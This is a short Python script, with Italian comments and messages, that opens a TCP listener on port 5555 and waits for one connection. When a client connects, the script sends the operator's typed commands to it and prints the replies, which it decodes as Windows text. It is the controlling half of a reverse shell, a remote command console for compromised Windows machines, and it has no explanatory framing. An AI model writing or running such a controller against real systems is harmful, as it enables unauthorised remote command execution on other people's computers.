import socket, os, sys
def srvCreate():
        global host
        global port
        global s
        host = '192.168.1.106'   # Nome simbolico che rappresenta il nodo locale
        port = 5555              # Porta non privilegiata arbitraria

        try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                print("In ascolto..")
        except socket.error as msg:
                print("socket fallito!")
def srvBinding():
        try:
                s.bind((host, port))
                s.listen(3)
        except socket.error as msg:
                print("Binding fallito!")


def srvAccept():
        global conn
        global addr
        global data
        try:
                conn, addr = s.accept()
                print ('Sessione Aperta con :' + addr[0],addr[1])
                print('\n')
                data = conn.recv(1024)
                print(data)
                menu()
        except socket.error as msg:
                print ('connessione finita')
                s.close()
def menu():
        while 1:
                cmd=input(str(addr)+'§'+ str(data) + ('> '))
                if cmd == 'quit':
                        conn.close()
                        sys.exit()
                cmdb=cmd.encode()
                command = conn.send(cmdb)
                result = conn.recv(16834)
                result=result.decode('windows-1252')
                print(result)

def main():
        srvCreate()
        srvBinding()
        srvAccept()
main()